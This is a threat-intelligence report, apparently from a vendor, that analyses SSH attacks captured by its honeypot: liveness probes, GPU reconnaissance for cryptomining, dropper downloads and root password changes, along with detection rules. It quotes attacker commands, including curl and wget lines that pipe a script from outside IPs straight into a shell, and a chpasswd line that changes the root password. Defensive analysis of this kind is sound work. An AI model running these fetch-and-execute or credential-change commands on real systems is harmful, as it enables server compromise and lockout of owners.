PUBLIC RESEARCH

CIPHERSENTRY

THREAT INTELLIGENCE

INTELLIGENCE SERIES

Anatomy of an SSH Attack

From the first echo to the root password change: four chapters reconstructing a real campaign captured by our honeypot in production.

DATE	ARTICLES	SOURCE	WEB	CONTACT
2026-06-30	4	CipherSentry SSH honeypot	ciphersentry.yoire.com	hello@ciphersentry.yoire.com

CONTENTS

CHAPTER 1

The scanner's first command: why every SSH attack starts with echo

The first command of an SSH attack steals nothing. It downloads nothing. It only asks: is anyone there? And the answer it gets decides everything else. 12.358 times in three days.

AUTOMATION CAMPAIGNS RECONNAISSANCE

90.596
TOTAL SSH SESSIONS

Total SSH sessions

431
ATTACKING IPS

12.358
ECHO COMMANDS

14%
OF ALL COMMANDS

The automated liveness test

Authenticating is easy — the attacker has dictionaries and time. What it doesn't have is certainty about what's on the other side. The session could be a real shell, a honeypot, a server that accepts connections but blocks commands, or an environment with output disabled. The scanner resolves that uncertainty before sending its real instructions. It does so with the simplest command that exists.

```
# Three echo variants observed in sessions from the campaign
$ echo test
$ echo 1
$ echo -e '\x41\x42\x43' # \x41\x42\x43 = "ABC" — capability probe, not obfuscation
# Expected output: the same text. If it responds → working shell → next phase
```

The third variant is the most revealing. `echo -e '\x41\x42\x43'` prints "ABC" — but it does so via hex sequences, not literal text. The purpose isn't to hide the content (ABC doesn't need hiding), but to verify that the shell correctly interprets escape sequences. That's tactical information: if the shell processes `-e` with escape sequences, the attacker knows exactly what kind of environment it's working with.

The gate that filters sessions

If the echo returns the expected text, the scanner moves to the next phase — in this campaign, the GPU hunter. If there's no response or the output is unexpected, the session is discarded. This explains why a significant share of sessions ends without any further command: the echo didn't respond as the script expected, and the automation moved on to the next target.

> ECHO AS THE FIRST LINK IN THE CHAIN
>
> In the analyzed sessions, the echo always precedes the hardware reconnaissance block. The full sequence, in sessions that reached phase 2:
>
> `echo test` → `lspci | grep VGA` → `nvidia-smi -q` → `uname -s -v -n -r -m`
>
> The echo acts as a traffic light: green, continue; no response, discard. It's the lowest possible cost to avoid wasting the rest of the script on a useless environment. The full pattern of the GPU hunter that comes next is analyzed in detail in the previous article in this series.

Why this signature matters

The echo as a liveness check isn't exclusive to this campaign — it's a universal pattern in automated SSH tooling. Any script that needs to verify it has a working shell before continuing uses it. That makes it a more reliable behavioral signature than the source IP or the SSH client's User-Agent. A burned IP is replaceable in minutes; the script's behavioral protocol changes much more slowly.
What sets this campaign apart from a generic scanner is the sequence that follows. The echo only has value if what comes after is deliberate — and in this case it is: a GPU hunter targeting infrastructure with graphics accelerators. The echo is the first line of the script; the rest of the script reveals the intent.

Detection — and its limits

The echo itself isn't an alarm signal — it's a legitimate command. The signature is the context: an echo immediately after authentication, with no prior legitimate command, is script behavior, not human behavior.

- **Alert on `echo -e` with hex sequences in SSH sessions:** `echo -e '\xNN\xNN'` immediately after authentication has no legitimate administration use. It's automated tooling.
- **Correlate echo with what comes after:** an isolated echo with no subsequent commands (a session ending in 2-3 seconds) is a scanner discarding the target. An echo followed by `lspci` or `nvidia-smi` is a GPU hunter in the reconnaissance phase.
- **Monitor session duration:** sessions that end in under 5 seconds with only 1-2 commands are scanners, not administrators. Grouping these sessions by IP automatically reveals the attacker's infrastructure.
- **Fail2ban with a low threshold for ultra-short sessions:** a client that connects, runs an echo and disconnects in 3 seconds is indistinguishable from a scanner. Banning IPs with that repeated pattern reduces log noise with no impact on legitimate users.

IMPORTANT LIMITATION

The `echo -e '\x41\x42\x43'` variant is detectable because it uses hex sequences. The simple variant — `echo 1` — is indistinguishable from legitimate use. No alerting rule catches it without massive false positives.

What does detect both variants: session behavior. A server that introduces artificial latency in the first 200ms, or returns output slightly different from what's expected, can make the scanner discard the target without knowing why. Passive defense covers where active detection fails.

The echo has no secrets. It exfiltrates no data, installs nothing, opens no ports. It's just a question: is anyone there? The answer it gets determines whether your server is going to receive the rest of the attack. The signal is worth its weight in gold precisely because it's so cheap to send: if the attacker bothers to ask the question, it's because what comes next matters.

Source: `CipherSentry SSH honeypot · 2026-06-26 a 2026-06-28` · Author: Pablo Cortés

CHAPTER 2

XMRig in stealth mode: how miners evade detection in 2026

Unauthorized cryptomining does not arrive loudly. What we captured in our honeypot is a two-phase process: first they silently verify that the machine has a GPU. Only then do they install the miner.

MALWARE BOTNET CRYPTOMINING

18.276
GPU HUNTER SESSIONS

GPU hunter sessions

10.915
ATTEMPTS WITH "SOL"

2.555
/BIN/./UNAME EVASIONS

3
PAYLOAD URLS

The anatomy of the GPU hunter

Before installing any miner, the attacker needs to know whether the investment is worthwhile. A server without a GPU mines monero at a fraction of the hashrate of one with a GPU. The first objective, therefore, is hardware reconnaissance — and doing it without raising alerts.

The sequence we observed in **18.276 sessions** is identical across all of them — the signature of an automated script:

```
# Phase 1: is there a PCI GPU attached?
$ lspci | grep VGA | cut -f5- -d ' '
$ lspci | grep VGA -c
$ lspci | grep "3D controller" | cut -f5- -d ' '
```

```
# Phase 2: is it NVIDIA? how much VRAM?
$ nvidia-smi -q | grep "Product Name" | head -n 1 | awk '{print $4, $5, $6, $7, $8}'
# Phase 3: OS fingerprint (with evasion)
$ /bin/./uname -s -v -n -r -m
$ uptime -p
$ nproc
```

Evasion technique: path traversal in uname

The use of `/bin/./uname` instead of `uname` is a technical detail with a clear purpose. The dot (`.`) in the middle of an absolute path is a directory element that references the current directory — in this context, it is ignored by the kernel. The result is exactly the same as `uname`.
The value lies in the string signature: a detection rule that looks for the literal `uname` in command logs might not catch `/bin/./uname` if the implementation does not normalize paths before comparing.

OBSERVED FREQUENCY

2.555 executions of `/bin/./uname` versus **33.548** of `uname` directly. The technique is used in specific sessions — it is not universal across the campaign, which suggests different tools or different configurations of the same scanner.

The link to crypto credentials

The GPU hunter campaign and the Solana-oriented credential dictionary are not a coincidence. Solana node operators frequently use servers with GPUs to accelerate validation operations. A compromised server belonging to a Solana validator offers double value:

- **GPU for mining**: immediate hashrate for XMRig or other miners
- **Access to validator keys**: potential theft of stake or validation commissions
- **Access to hot-wallet funds**: traders and validators frequently have wallets connected to the server

The payload attempt

On six occasions during the observation period, the sessions attempted to download an external script, spread across three distinct destinations. None managed to execute:

CAPTURED PAYLOAD URLS

⚠ Defanged URLs (hxxp). Forensic artifacts — do not access or reconstruct.

`http://151.242.[REDACTED].40/loader.sh` — direct IP with no DNS resolution. 684 bytes captured in the honeypot's isolated environment; execution was blocked.

`http://197.255.[REDACTED].88:1987/favico.ico` — a high port and a decoy name (a fake favicon). Exactly **684 bytes**, the same size as the previous one: the same payload served from a second host.

`http://31.172.[REDACTED].45/mot` — 2 attempts, 0 bytes received. The download failed or was blocked at the source.

How to detect GPU hunters in your infrastructure

The detection signals are clear and inexpensive to implement:

- **Alert on `nvidia-smi` or `lspci` in SSH logs**: no legitimate maintenance script needs to run these commands via SSH immediately upon authentication.
- **Detect the `SSH-2.0-Go` client**: if your infrastructure has no internal applications written in Go that connect over SSH, any connection with that fingerprint is suspicious.
- **Monitor downloads with `wget` or `curl` to direct IPs**: URLs like `hxxp://1[.]2[.]3[.]4/sh` are payload distributors, not legitimate traffic.
- **Block IPs with multiple failed credential attempts**: fail2ban with a threshold of 5-10 attempts per IP in 60 seconds covers most of these scans.

Data collected for cybersecurity research purposes. All information comes from unsolicited activity logged on our own infrastructure.

Source: `CipherSentry SSH honeypot · 2026-06-26 to 2026-06-28` · Author: Pablo Cortés

CHAPTER 3

Dropper in production: analysis of loader.sh and the payload that never ran

Over the three days of observation, the honeypot captured six attempts to download an external payload across three destinations. All of them failed — but the download process was recorded, and with it, details about the dropper's infrastructure.

MALWARE DROPPER CAMPAIGNS

3
PAYLOAD URLS

Payload URLs

6
DOWNLOAD ATTEMPTS

259
EXECUTION ATTEMPTS

0
BYTES EXECUTED

The three payload URLs

During the analysis period, the honeypot recorded download attempts to exactly three external destinations, all three to a direct IP and unencrypted. Their behavior differs:

URL #1 — DIRECT IP, NO DNS

`http://151.242.[REDACTED].40/loader.sh`

1 download_attempt + 1 download recorded. The URL points directly to an IP, with no domain name. Using a direct IP avoids DNS resolution — no DNS logs, no detection through malicious-

domain blocking. The name `loader.sh` is typical of first-stage droppers: a shell script that installs the real payload.

Content received: **684 bytes captured** in the isolated environment. The payload was stored but execution was blocked: **0 bytes executed** on the real host.

URL #2 — THE SAME PAYLOAD FROM A SECOND HOST

`http://197.255.[REDACTED].88:1987/favico.ico`

1 download_attempt + 1 download recorded. It is served on a **high port (1987)** and with a **decoy name** — `favico.ico` mimics a favicon to pass as harmless traffic, but its content is a script. HTTP without TLS: the payload travels unencrypted.

The telling detail: **exactly 684 bytes**, the same size as `loader.sh`. It is the same payload served from two distinct IPs — hosting redundancy: if one goes down or is blocked, the other keeps serving.

URL #3 — THE DESTINATION THAT FAILED

`http://31.172.[REDACTED].45/mot`

2 download_attempt, 0 download: two attempts, **0 bytes received**. The server did not respond or was blocked at the source. A reminder that the attacker's ephemeral infrastructure also fails — and that every attempt, successful or not, is logged.

The download chain: how it got here

The download attempts did not occur in isolation. They followed the documented GPU hunter pattern: the attacker first runs reconnaissance (`lspci`, `nvidia-smi`), and only in sessions where the full sequence completed without errors does the script move on to the payload download phase.

```
# Phase 1: GPU hunter (hardware reconnaissance)
$ lspci | grep VGA | cut -f5- -d ' '
$ nvidia-smi -q | grep "Product Name" | head -n 1 | awk '{print $4, $5, $6, $7, $8}'
$ /bin/./uname -s -v -n -r -m
# Phase 2: dropper download (conditional on a detected GPU)
$ curl -s http://151.242.[REDACTED].40/loader.sh | bash
# — or the wget equivalent —
$ wget -qO- http://197.255.[REDACTED].88:1987/favico.ico | sh
```

The `curl ... | bash` pattern is deliberate: it downloads and executes in a single instruction, without writing the script to disk first. This prevents the binary from being left as a forensic artifact on the filesystem.

The 259 execution attempts

The honeypot recorded **259 events of type** `execution_attempt` and **547** `file_write` **events** in the window — the downloaded payload is stored in the isolated environment before any attempt to execute it. No execution succeeded.

EVENT	COUNT	RESULT
file_write (payload stored in isolated environment)	547	Success — file recorded
execution_attempt (attempt to run the payload)	259	Execution blocked — no code executed
Bytes executed on the real host	0	The honeypot never executes external code

What the dropper's infrastructure reveals

All three URLs point to direct IPs, with no domain and unencrypted. That combination points to an operation built on ephemeral infrastructure. Some inferences:

- **Three direct IPs, no domain:** all three URLs point to a literal IP, not a name. This avoids DNS resolution — no DNS logs, no blocking by domain reputation. They are cheap stage servers, replaceable if blocked.
- **Hosting redundancy:** `loader.sh` and `favico.ico` served **exactly the same payload (684 bytes)** from two distinct IPs. It is deliberate resilience: if one goes down, the other keeps distributing.
- **All three unencrypted HTTP:** the payload travels in the clear. This makes it possible to capture it in transit with a proxy or a content-inspecting IDS — but it also indicates the operators assume a short distribution window before rotating.
- **Decoy names and high ports:** `favico.ico` mimics a favicon and is served on port 1987; `loader.sh` and `mot` use short, opaque names. Basic camouflage to go unnoticed in proxy logs.

Relationship with the GPU hunter campaign

The sessions with download attempts are a subset of the GPU hunter sessions. The dropper only activates when the hardware reconnaissance returns a positive result — confirming that the campaign is optimizing the ratio of useful infections to total attempts.

In economic terms: downloading the payload has a cost (traffic, exposure of the dropper URL). The prior reconnaissance ensures that this cost is only incurred on machines with a GPU — the only ones that justify installing XMRig.

Detection and containment

The detection signals for this phase are more specific than those for the GPU hunter:

- **Block the** `curl ... | bash` **and** `wget ... | sh` **patterns:** no legitimate maintenance script needs to download and execute in a single instruction during an SSH session.
- **Monitor outbound HTTPS connections to direct IPs:** `hxxps://1[.]2[.]3[.]4/path` — no hostname, just an IP — is a dropper signature. The egress firewall should block HTTPS to IPs that have no known reverse DNS entry.
- **Alert on writes to** `/tmp` **followed by execution:** the write-then-execute pattern in temporary directories is the dropper's forensic signature. `auditd` with rules on `execve` in `/tmp/*` paths catches it.

- **Add the IOCs to your block lists:** the three IPs from this campaign (`151.242.[REDACTED].40`, `197.255.[REDACTED].88`, `31.172.[REDACTED].45`) are real artifacts. Add them to your filtering proxy and egress rules to neutralize the download before it happens.

Data collected for cybersecurity research purposes. All information comes from unsolicited activity logged on our own infrastructure.

Source: `CipherSentry SSH honeypot · 2026-06-26 a 2026-06-28` · Author: Pablo Cortés

CHAPTER 4

The lock they change without you noticing

Changing the root password leaves no binaries. It opens no ports. It installs no services. It is more dangerous than installing malware because there is nothing to scan — and most servers do not warn you when it happens. 21 real attackers attempted it in three days.

PERSISTENCE ESCALATION CAMPAIGNS

90.596
TOTAL SSH SESSIONS

Total SSH sessions

431
ATTACKER IPS

21
PASSWD ATTEMPTS

The command that gives away the intent

Some commands change meaning depending on who runs them. `passwd` in the hands of an administrator is routine. In the hands of a freshly authenticated attacker, it is a statement: I did not come to steal data, I came to stay. The difference between reconnaissance and persistence fits in three commands.

```
# Typical session sequence with a passwd attempt
$ uname -a
$ id
$ passwd
```

The `uname` and the `id` are last-second reconnaissance — confirming that the server is Linux and that root access is in hand. Then, straight away, `passwd`. No exploration, no downloads, no exfiltration commands. The script is short because the goal is simple.

Why it is more dangerous than installing malware

The technical detail that makes it hard to detect: `passwd` writes no file in unusual paths, opens no network ports, creates no new processes. Malware scanners look for artifacts — suspicious binaries, crontab entries, installed services. A password change leaves none of those traces.

- **Locking out the owner:** if the change succeeds, the legitimate administrator loses password access. SSH keys still work — but if the server only has password auth, the owner is locked out.
- **Persistence without artifacts:** there is no file to scan, no process to kill, no crontab entry to remove. The only trace is in `/etc/shadow`, and only if you know to look for it.
- **A definitive indicator of compromise:** finding the root password changed without any administrator having done so is not ambiguous. Someone was there.

What the honeypot saw — and the attacker did not

> RESULT IN THE HONEYPOT
>
> The honeypot accepts the `passwd` as normal: it shows the change prompt, the attacker enters the new password, and receives confirmation. Everything appears to work.
>
> The change is logged — but it does not persist on the real system. The honeypot returns confirmation to the attacker; in the next session, the original credentials are still valid. The signature stays in the log, not in the system.

Detection

The signals are clear. The problem is that they require active logging — most servers do not alert on `passwd` executions by default.

- **Alert on `passwd` in SSH sessions:** no legitimate CI/CD script runs `passwd`. If the command shows up in the logs of an interactive SSH session, it is a high-level alert.
- **Cover `chpasswd` and `usermod -p` too:** an attacker with shell access can change credentials without an interactive prompt: `echo 'root:nueva' | chpasswd` does not generate the same session pattern as `passwd`. The only reliable detection is at the filesystem level — not at the session-behavior level.
- **Key-only authentication:** if `PasswordAuthentication no` is set in `/etc/ssh/sshd_config`, changing the root password grants no additional access to anyone who does not already have the private key.

The only defense that covers every variant — `passwd`, `chpasswd`, `usermod -p` — is to monitor the file directly. Two lines of auditd on Debian/Ubuntu:

```
# Add to /etc/audit/rules.d/passwd.rules
-w /etc/shadow -p wa -k passwd_change
-w /etc/passwd -p wa -k passwd_change
# Apply without rebooting:
$ augenrules --load
# Find the event in the log:
$ ausearch -k passwd_change -i | tail -20
```

This rule logs any modification of the password file regardless of the method used. It does not matter whether the attacker used interactive `passwd`, `chpasswd` from a script, or `usermod`: if it touched `/etc/shadow`, auditd saw it.

The `passwd` command leaves no binaries. It opens no ports. It installs no services. What it leaves is silence — and silence, in cybersecurity, is the hardest signal to detect. The difference between a compromised system and a clean one fits in a single field of `/etc/shadow`. That field has no alarm by default. Now it can have one.

Source: `CipherSentry SSH honeypot · 2026-06-26 a 2026-06-28` · Author: Pablo Cortés

CIPHERSENTRY

This report is part of the "Intelligence series" series.
Real data captured by the CipherSentry SSH honeypot in production.

ciphersentry.yoire.com · hello@ciphersentry.yoire.com
CipherSentry S.L. · Madrid, Spain · Cybersecurity research
Generated on 2026-06-30

CIPHERSENTRY

START TODAY · FREE PLAN AVAILABLE

Every IP that attacks you is intelligence. Capture it.

Turn your servers into sensors. CipherSentry captures the real SSH attacks you receive and turns them into actionable intelligence — the same intelligence behind this report.

Real capture, not signatures

Credentials, commands and payloads from real attackers in an emulated, isolated SSH environment.

The multi-node Swarm

Deploy sensors across all your servers; a central engine aggregates and correlates everything.

Live dashboard + IOCs via API

Metrics, a geographic map of origins and indicator export for your SIEM.

Actionable intelligence

Reports like this one, with every figure traced to its source. Know what attacks you and how to defend.

DEPLOY A SENSOR IN 2 MINUTES

```
$ curl -fsSL https://ciphersentry.yoire.com/install.sh | bash
$ ./node.sh enroll # links the node to your account
```

FREE	STARTER	RECOMMENDED · PRO	ENTERPRISE
0 €/mo	19 €/mo	79 €/mo	499 €/mo
10,000 events/mo	100,000 events/mo	1,000,000 events/mo	Custom volume

Create your free account and deploy your first sensor

ciphersentry.yoire.com

hello@ciphersentry.yoire.com
github.com/cipher-sentry/ssh-honeypot-sensor